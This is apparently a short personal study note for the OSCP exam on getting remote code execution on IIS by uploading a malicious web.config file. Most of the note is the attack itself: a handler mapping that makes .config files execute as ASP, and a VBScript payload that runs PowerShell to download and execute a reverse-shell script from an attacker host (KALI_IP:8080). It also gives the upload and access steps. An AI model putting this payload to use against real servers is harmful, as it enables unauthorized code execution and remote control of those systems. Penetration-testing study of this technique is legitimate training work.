OSCP Notes

aspx with web.config RCE vuln

If you have some kind of access to web root and upload files, but then when you access it you get an error like this. It's most likely vulnerable to the below attack.
<?xml version="1.0" encoding="UTF-8"?>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
<remove fileExtension=".config" />
<remove segment="web.config" />
<!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!
' it is running the ASP code if you can see 3 by opening the web.config file!
Upload this file via ftp and Access the file via http
It's showing “3" so remote code execution is possible!
changed the payload to
<%@ Language=VBScript %>
call Server.CreateObject("WSCRIPT.SHELL").Run("cmd.exe /c powershell.exe -c iex(new-object net.webclient).downloadstring('http://KALI_IP:8080/Invoke-PowerShellTcp.ps1')")
Host the http server on 8080 and visit the directory whatever the port of the reverse shell setting.
Now you should have a reverse shell.
Last modified 1yr ago